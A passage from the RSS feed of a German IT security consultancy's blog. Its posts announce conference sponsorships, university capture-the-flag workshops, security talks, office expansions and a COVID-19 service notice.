href="https://upload.wikimedia.org/wikipedia/commons/5/5e/CAN-Bus-frame_in_base_format_without_stuffbits.svg"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">format&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.github.com/schutzwerk/CANalyzat0r"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">CANalyzat0r&lt;/span>
&lt;/a>&lt;a
href="https://www.github.com/schutzwerk/CANalyzat0r"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">GitHub&lt;/span>
&lt;/a>&lt;a
href="https://www.github.com/schutzwerk/CANalyzat0r"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Repository&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>Our year 2017: Even closer to our customer</title><link>https://www.schutzwerk.com/en/blog/unser-jahr-2017/</link><author>SCHUTZWERK GmbH</author><pubDate>Mon, 18 Dec 2017 13:00:00 +0100</pubDate><category>news</category><description>
&lt;p>The last year was exciting and full of challenges for the SCHUTZWERK-Team.&lt;/p>
&lt;p>We were personally touched by the leave of our Managing Director Holger Gerlach.
He left the company for personal reasons.
Greetings from the whole team and all the best for you and your family, dear Holger!
From 2018, Christoph Wolfert and Dr. Bastian Könings will take over more responsibility in their new role as Managing Consultants.&lt;/p>
&lt;h2 id="hamburg---we-are-coming">Hamburg - We are coming!&lt;/h2>
&lt;p>We opened our new office in the beautiful Hanseatic city of Hamburg.
The first employees take care of our steadily growing clientele in Northern Germany.&lt;/p>
&lt;h2 id="ulm---we-are-growing">Ulm - We are growing!&lt;/h2>
&lt;p>With the steadily rising demand, many more employees are needed.
That's why we have strengthened our team in Ulm with new creative minds.&lt;/p>
&lt;h2 id="christmas-donations-instead-of-gifts">Christmas: Donations instead of gifts&lt;/h2>
&lt;p>We have selected 7 projects on the Betterplace donations platform, which we support with a total of 3,000.00 euros. Have a look at the project: &lt;a href="https://schutzwerk.spendengutschein.org">https://schutzwerk.spendengutschein.org&lt;/a>&lt;/p>
&lt;h2 id="in-short">In short:&lt;/h2>
&lt;p>Looking back, we are very satisfied and grateful for 2017.
Our customers and business partners play a major role in this.
The entire team would like to thank you from the bottom of our heart.
We are looking forward to what the coming year will bring.
We wish you and your loved ones a Merry Christmas and a happy and healthy New Year!&lt;/p></description></item><item><title>SCHUTZWERK AT THE 9TH GERMAN OWASP DAY</title><link>https://www.schutzwerk.com/en/blog/9-german-owasp-day/</link><author>SCHUTZWERK GmbH</author><pubDate>Mon, 23 Oct 2017 13:00:00 +0100</pubDate><category>news</category><category>event</category><category>sponsor</category><category>event</category><description>
&lt;p>The 9th German OWASP Day will take place in Essen on the 14th of November. SCHUTZWERK GmbH is an official sponsor of the event.&lt;/p>
&lt;p>The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.owasp.org/index.php/German_OWASP_Day_2017"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">German&lt;/span>
&lt;/a>&lt;a
href="https://www.owasp.org/index.php/German_OWASP_Day_2017"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">OWASP&lt;/span>
&lt;/a>&lt;a
href="https://www.owasp.org/index.php/German_OWASP_Day_2017"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Day&lt;/span>
&lt;/a>&lt;a
href="https://www.owasp.org/index.php/German_OWASP_Day_2017"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2017&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, like every year, will be hosted by the German OWASP Chapter. The German OWASP Day is the most important, independent and non-commercial conference on application security in Germany. The event offers exciting lectures on secure development, operation, testing and management in the field of applications. The focus is on web applications. Interdisciplinary, non-technical topics are also represented.&lt;/p></description></item><item><title>CAPTURE THE FLAG: FREE HACKING WORKSHOP AT IT-SA</title><link>https://www.schutzwerk.com/en/blog/it-sa-2017/</link><author>SCHUTZWERK GmbH</author><pubDate>Sun, 03 Sep 2017 13:00:00 +0100</pubDate><category>news</category><category>ctf</category><category>event</category><description>
&lt;p>This year the it-sa, one of the biggest trade fairs for IT-Security in the German-speaking region, will take place from 10th to 12nd October at the Nuremberg Exhibition Centre. SCHUTZWERK GmbH will be present in hall 9, booth 9-615. This is the joint booth of the Bavarian IT security cluster.&lt;/p>
&lt;p>Visitors who want to prove their hacking skills can do so at one of two capture-the-flag contests.
Here, participants experience a lack of IT security in practice and can take advantage of one of the rare opportunities for hacking legally.
You can participate for a whole day or drop in and solve some of the challenges for one or two hours.&lt;/p>
&lt;p>During the CTF event, there will be a presentation in the same room at 11am and 3pm, which will provide further insight into the Capture the Flag (CTF).
Take advantage of the opportunity to participate for free! &lt;/p>
&lt;p>The CTF competitions will take place on Tuesday and Wednesday, i. e. on October 10th and 11th in the room &amp;quot;Basel&amp;quot; of the NürnbergConvention Center.
The three best contestants of both days will be awarded at 4:30 pm in room Basel and will receive exciting prizes. &lt;/p>
&lt;p>If you are interested in the CTF competition please register until 22nd September by sending an e-mail to Jessica Grolik at: jgrolik@schutzwerk.com.
Please bring your own notebook, everything else is available, notebooks will be booted via USB.&lt;/p>
&lt;p>If you would like to schedule a personal meeting with us during the trade faire please call +49 731 977 191 0 or mail to Jessica Grolik at the above address. 
We will also be happy to send you a voucher code for a free admission ticket to the trade fair.&lt;/p>
&lt;h2 id="exhibition-dates-at-a-glance">Exhibition dates at a glance:&lt;/h2>
&lt;p>it-sa - The IT-Security Fair and Congress&lt;br>
Exhibition Centre in 90471 Nuremberg&lt;br>
SCHUTZWERK GmbH: Hall 9, Booth 9-615&lt;/p>
&lt;p>10th to 12nd October 2017&lt;br>
Tuesday and Wednesday: 9am to 6pm&lt;br>
Thursday: 9 to 17 o' clock&lt;/p>
&lt;h2 id="capture-the-flag-workshop">Capture the Flag Workshop:&lt;/h2>
&lt;p>CTF-Competition: Tuesday and Wednesday from 09:30 to 16:15&lt;br>
CTF presentation: Tuesday and Wednesday at 11am and 3pm&lt;br>
Awards ceremony: Tuesday and Wednesday at 4:30pm&lt;br>
Everything in the room &amp;quot;Basel&amp;quot; of the NürnbergConvention Center&lt;/p></description></item><item><title>SCHUTZWERK sponsors hardwear.io 2017</title><link>https://www.schutzwerk.com/en/blog/hardwear.io-2017/</link><author>SCHUTZWERK GmbH</author><pubDate>Fri, 09 Jun 2017 13:00:00 +0100</pubDate><category>news</category><category>sponsor</category><category>event</category><category>embedded security</category><category>research</category><description>
&lt;p>hardwear.io will take place in Den Haag/Netherlands on 21st-22nd of September 2017. SCHUTZW­ERK GmbH is an of­fi­cial spon­sor of the event.&lt;/p>
&lt;p>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="http://hardwear.io/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">hardwear.io&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
Security Conference is a platform for hardware and security community where researchers showcase and discuss their innovative research on attacking and defending hardware. The conference will present and discuss current topics of hardware security, for example concerning automotive and IoT sectors.&lt;/p>
&lt;p>SCHUTZWERK regularly conducts technical assessments and security consulting in the area of embedded systems and IoT, see also &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Systems&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Assessment&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. We will take part with several participants and look forward to interesting discussions.&lt;/p></description></item><item><title>CTF Training at University of Ulm</title><link>https://www.schutzwerk.com/en/blog/uniulm-ctf-2017/</link><author>SCHUTZWERK GmbH</author><pubDate>Wed, 26 Apr 2017 13:00:00 +0100</pubDate><category>news</category><category>ctf</category><category>forensics</category><description>
&lt;p>On March 24, 2017, SCHUTZWERK, in cooperation with the Institute for Distributed Systems, held a &amp;quot;Capture-The-Flag&amp;quot; hacking competition for about 60 students of the University of Ulm.&lt;/p>
&lt;p>As part of the all-day workshop at the University of Ulm, students were given various hacking tasks in multiple categories and difficulty levels.
A part of the tasks were concerned with a forensic investigation of IT systems, based on provided memory images.
Further tasks covered the areas of security of web applications, algorithms and cryptography.&lt;/p>
&lt;p>We would like to thank all the students for their participation and congratulate the top three:&lt;/p>
&lt;ul>
&lt;li>1st place - Markus &amp;amp; Karina - Price: Raspberry Pi Starter Kit&lt;/li>
&lt;li>2nd place - Markus - Prize: Ubertooth One&lt;/li>
&lt;li>3rd place - Marcel - Price: Bash Bunny&lt;/li>
&lt;/ul>
&lt;p>With further new tasks we are already planning new dates at different universities!&lt;/p></description></item><item><title>The Next Generation of Security Experts</title><link>https://www.schutzwerk.com/en/blog/naechste-generation-sicherheitsexperten/</link><author>SCHUTZWERK GmbH</author><pubDate>Thu, 08 Dec 2016 13:00:00 +0100</pubDate><category>news</category><category>cooperation</category><category>ctf</category><description>
&lt;p>In cooperation with the Universities of Furtwangen and Aalen, SCHUTZWERK organized a hacking event on the 25th resp. 30th of November 2016, which also included a ''Capture the Flag Contest''. With overall nearly 100 participants and a lot of positive feedback the events were a full success.&lt;/p>
&lt;p>We like to say thank you for the professional cooperation to those responsible on the side of the Universities of Furtwangen and Aalen. Also a big thank you to all participating students for the awesome participation!  &lt;/p>
&lt;p>More information:&lt;/p>
&lt;p>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="http://www.hs-furtwangen.de/willkommen/aktuelles/aktuelles-einzelansicht/3236-studierende-sind-hackern-immer-einen-schritt-voraus.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Article&lt;/span>
&lt;/a>&lt;a
href="http://www.hs-furtwangen.de/willkommen/aktuelles/aktuelles-einzelansicht/3236-studierende-sind-hackern-immer-einen-schritt-voraus.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="http://www.hs-furtwangen.de/willkommen/aktuelles/aktuelles-einzelansicht/3236-studierende-sind-hackern-immer-einen-schritt-voraus.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Hochschule&lt;/span>
&lt;/a>&lt;a
href="http://www.hs-furtwangen.de/willkommen/aktuelles/aktuelles-einzelansicht/3236-studierende-sind-hackern-immer-einen-schritt-voraus.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Furtwangen&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="http://www.schwarzwaelder-bote.de/inhalt.furtwangen-wir-sind-besser-als-die-boesen.7830c18a-196e-4c3c-8125-368c4ffadfe1.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Article&lt;/span>
&lt;/a>&lt;a
href="http://www.schwarzwaelder-bote.de/inhalt.furtwangen-wir-sind-besser-als-die-boesen.7830c18a-196e-4c3c-8125-368c4ffadfe1.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="http://www.schwarzwaelder-bote.de/inhalt.furtwangen-wir-sind-besser-als-die-boesen.7830c18a-196e-4c3c-8125-368c4ffadfe1.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Schwarzwälder&lt;/span>
&lt;/a>&lt;a
href="http://www.schwarzwaelder-bote.de/inhalt.furtwangen-wir-sind-besser-als-die-boesen.7830c18a-196e-4c3c-8125-368c4ffadfe1.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Bote&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p></description></item><item><title>Hacking Workshop at Hochschule Aalen</title><link>https://www.schutzwerk.com/en/blog/hacking-workshop-hochschule-aalen/</link><author>SCHUTZWERK GmbH</author><pubDate>Fri, 25 Nov 2016 13:00:00 +0100</pubDate><category>news</category><category>ctf</category><category>cooperation</category><category>forensics</category><description>
&lt;p>In cooperation with the University of Aalen, SCHUTZWERK is organizing a Hacking Workshop with &amp;ldquo;Capture the Flag Contest&amp;rdquo; on the 30th November 2016. The event enables the participants to achieve IT security know-how in a playful way.&lt;/p>
&lt;p>The workshop covers diverse areas, for example the forensic analysis of IT systems, on the basis of a working storage map. Further topics in the area of web application hacking, algorithmics and cryptographiy will be addressed additionally.&lt;/p></description></item><item><title>New training wear for the handballers of SG Ulm &amp; Wiblingen</title><link>https://www.schutzwerk.com/en/blog/neue-trainingsbekleidung-fuer-die-handballer.des-sg-ulm-wiblingen/</link><author>SCHUTZWERK GmbH</author><pubDate>Tue, 22 Nov 2016 13:00:00 +0100</pubDate><category>news</category><category>sponsor</category><description>
&lt;p>Since 2012 SCHUTZWERK is sponsoring the mens handball team I of the SG Ulm &amp;amp; Wiblingen. This year it was time again for new tracksuits and warm-up shirts.&lt;/p>
&lt;p>The best wishes from SCHUTZWERK to the regional league team from SG Ulm &amp;amp; Wiblingen for the game season 2016 / 2017.&lt;/p></description></item><item><title>8. FURTWANGENER HACKING EVENT HACK2IMPROVE 2016 WITH SCHUTZWERK</title><link>https://www.schutzwerk.com/en/blog/8-hack2improve-2016/</link><author>SCHUTZWERK GmbH</author><pubDate>Thu, 10 Nov 2016 13:00:00 +0100</pubDate><category>news</category><category>cooperation</category><category>web security</category><category>forensics</category><description>
&lt;p>In cooperation with the University of Furtwangen, SCHUTZWERK is organizing the Hack2Improve event on the 25th November 2016, focusing on the latest IT security topics.&lt;/p>
&lt;p>Hack2Improve is a hands-on event that attracts beginners as well as advanced attendees year after year. For example, they learn how to read a secure WLAN connection. Another key issue includes the basics for examining a smartphone app and the sensitive data it contains. Intermediate participants learn the forensic investigation of IT systems as well as advanced topics in the field of hacking web applications.&lt;/p>
&lt;p>More information: &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="http://www.hack2improve.de"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">www.hack2improve.de&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p></description></item><item><title>SCHUTZWERK AT THE 8TH GERMAN OWASP DAY</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-ist-sponsor-des-8-german-owasp-day/</link><author>SCHUTZWERK GmbH</author><pubDate>Tue, 18 Oct 2016 13:00:00 +0100</pubDate><category>news</category><category>event</category><category>sponsor</category><category>web security</category><description>
&lt;p>The 8th German OWASP Day will take place in Darmstadt on the 29th of November. SCHUTZWERK GmbH is an official sponsor of the event.&lt;/p>
&lt;p>The yearly &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.owasp.org/index.php/German_OWASP_Day_2016"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">German&lt;/span>
&lt;/a>&lt;a
href="https://www.owasp.org/index.php/German_OWASP_Day_2016"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">OWASP&lt;/span>
&lt;/a>&lt;a
href="https://www.owasp.org/index.php/German_OWASP_Day_2016"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Day&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
conference is hosted by the OWASP German Chapter. The event features interesting talks and presentation concerning secure development, operations, test and management in the area of application security, with a focus on web applications. In addition, interdisciplinary and non-technical topics are also presented.&lt;/p></description></item><item><title>Presentation about "targeted attacks on IT networks"</title><link>https://www.schutzwerk.com/en/blog/vortrag-zum-thema-zielgerichtete-angriffe-auf-das-unternehmensnetzwerk/</link><author>SCHUTZWERK GmbH</author><pubDate>Wed, 05 Oct 2016 13:00:00 +0100</pubDate><category>news</category><category>talk</category><category>event</category><category>attacks</category><description>
&lt;p>SCHUTZWERK at the first IT-GRC Congress in Berlin.&lt;/p>
&lt;p>On the 15th and 16th June 2016 the first IT-GRC Congress took place in Berlin. The organizers &amp;quot;ISACA Germany Chapter e.V.&amp;quot; and &amp;ldquo;Quadriga Hochschule Berlin&amp;rdquo; focus the event on &amp;ldquo;Cyber Security &amp;amp; Digital Transformation&amp;rdquo;. But the topics went beyond Governance, Revision and Compliance and covered also the current threat landscape in information technology.&lt;/p>
&lt;p>At the event Christoph Wolfert, Senior Security Consultant at SCHUTZWERK GmbH, spoke about targeted attacks. Besides explaining the details of these attacks, he demonstrated live different attack examples for the audience.&lt;/p></description></item><item><title>New website, streamlined portfolio, new team members</title><link>https://www.schutzwerk.com/en/blog/neue-website-strafferes-portfolio-neue-mitarbeiter/</link><author>SCHUTZWERK GmbH</author><pubDate>Thu, 11 Aug 2016 13:00:00 +0100</pubDate><category>news</category><description>
&lt;p>After a lot of work and dedication, our new website has now gone online this August. In close collaboration with the web specialists of the agency Halma and with the ongoing support of the graphic design agency greenergrass, we have now taken our online presence to a new level. At the same time, we have also streamlined our portfolio in order to take account of increasing specialization requirements in information and IT security. In future, SCHUTZWERK GmbH will be focused on their core competencies of assessment, consulting and process. Furthermore, we are pleased to welcome Thomas Bläsing and Philipp Wenk as competent additions to our team of auditors and consultants.&lt;/p>
&lt;p>&lt;strong>Many thanks to our partners:&lt;/strong> &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="http://www.agentur-halma.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">HALMA&lt;/span>
&lt;/a>&lt;a
href="http://www.agentur-halma.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">GmbH&lt;/span>
&lt;/a>&lt;a
href="http://www.agentur-halma.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">&amp;amp;amp;&lt;/span>
&lt;/a>&lt;a
href="http://www.agentur-halma.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Co.&lt;/span>
&lt;/a>&lt;a
href="http://www.agentur-halma.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">KG&lt;/span>
&lt;/a>&lt;a
href="http://www.agentur-halma.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="http://www.agentur-halma.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Agentur&lt;/span>
&lt;/a>&lt;a
href="http://www.agentur-halma.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">für&lt;/span>
&lt;/a>&lt;a
href="http://www.agentur-halma.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Werbung&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="http://www.greenergrass.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">greenergrass&lt;/span>
&lt;/a>&lt;a
href="http://www.greenergrass.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">design&lt;/span>
&lt;/a>&lt;a
href="http://www.greenergrass.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="http://www.greenergrass.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">motion&lt;/span>
&lt;/a>&lt;a
href="http://www.greenergrass.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="http://www.greenergrass.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Film&lt;/span>
&lt;/a>&lt;a
href="http://www.greenergrass.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">und&lt;/span>
&lt;/a>&lt;a
href="http://www.greenergrass.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Kommunikations&lt;/span>
&lt;/a>&lt;a
href="http://www.greenergrass.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Design&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p></description></item><item><title>Presentation on "Web Security from the Perspective of a Penetration Tester"</title><link>https://www.schutzwerk.com/en/blog/vortrag-zum-thema-web-security-aus-der-perspektive-eines-penetration-testers/</link><author>SCHUTZWERK GmbH</author><pubDate>Sat, 18 Jun 2016 13:00:00 +0100</pubDate><category>news</category><category>event</category><category>talk</category><category>web security</category><description>
&lt;p>On 14th June 2016, the 13th Cyber Security Day took place in Leipzig. This event was organized by the Alliance for Cyber Security, an initiative of the Federal Office for Information Security (Bundesamt für Sicherheit in der Informationstechnik - BSI). This time the event was dedicated to the topic of &amp;quot;Web Application Security&amp;quot;. Owing to the huge demand, the contents were, for the first time, specifically aimed at &amp;ldquo;engineers&amp;rdquo; as target audience.&lt;/p>
&lt;p>At the event Dr. Bastian Könings, Security Consultant at SCHUTZWERK GmbH, spoke about web security from the perspective of an auditor (&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">tester&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
). He thereby explained the general procedure of the respective assessments and also described typical attacks, such as injection attacks and cross-site scripting.&lt;/p></description></item><item><title>SCHUTZWERK COVID-19 Information</title><link>https://www.schutzwerk.com/en/blog/covid-19-information/</link><author>SCHUTZWERK GmbH</author><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><category>news</category><category>forensics</category><description>
&lt;p>We support you through difficult times!&lt;/p>
&lt;p>Dear customers, business partners and interested parties,&lt;/p>
&lt;p>we, the SCHUTZWERK team, hope that all of you are well and remain healthy. We would like to assure you that we will continue to be at your full disposal and will gladly support you in this difficult situation. Our Forensics and Incident Response Team already supports many customers in analyzing the increasing number of IT-based attacks. With our dedicated security review for home office and remote work solutions we support our customers in dealing with current challenges.&lt;/p>
&lt;p>Since the beginning of the COVID-19 outbreak, SCHUTZWERK has been closely monitoring the situation and has initiated proactive measures early. Our internal and technical assessment infrastructure, allow our us to work independent of their location. Since we already have distributed structures with several locations and home office workstations, our communication services (both internal and for customers) are also well equipped for this situation.&lt;/p>
&lt;p>Thanks to our flexible assessment infrastructure, we will continue to provide you with support for external and also internal assessment activities. With our &amp;ldquo;VirtualAuditorBox&amp;rdquo; (VAB) we are able to continue to carry out internal assessments without compromise, as none of our employees need to be on site at your location. We have already deployed the VAB in many projects and are happy about the increased demand.&lt;/p>
&lt;p>Please understand that we currently only plan on-site appointments and visits to our offices in emergencies and with prior alignment.&lt;/p>
&lt;p>We will continue to keep an eye on the current situation and, if necessary, inform you about measures that also affect you as a customer and business partner.&lt;/p>
&lt;p>all the best,
your SCHUTZWERK team&lt;/p></description></item></channel></rss>